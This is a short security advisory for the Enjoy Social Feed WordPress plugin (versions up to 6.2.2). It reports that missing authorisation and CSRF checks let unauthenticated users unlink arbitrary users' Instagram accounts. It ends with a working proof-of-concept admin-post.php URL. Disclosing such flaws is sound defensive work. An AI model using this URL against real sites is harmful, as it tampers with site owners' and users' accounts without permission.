Enjoy Social Feed <= 6.2.2 - Unauthenticated Arbitrary Instagram Account Unlinking

2024-02-2000:00:00

Krzysztof Zając (CERT PL)

social feed

unauthenticated access

instagram account

url exploit

7.1 High

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

9.0%

JSON

Description The plugin does not have authorisation and CSRF in various function hooked to admin_init, allowing unauthenticated users to call them and unlink arbitrary users Instagram Account for example

As unauthenticated, open the following URL to unlink the Instagram account of the user with ID 5:

https://example.com/wp-admin/admin-post.php?action=enjoyinstagram-remove-user&user_id=5&tab=users-settings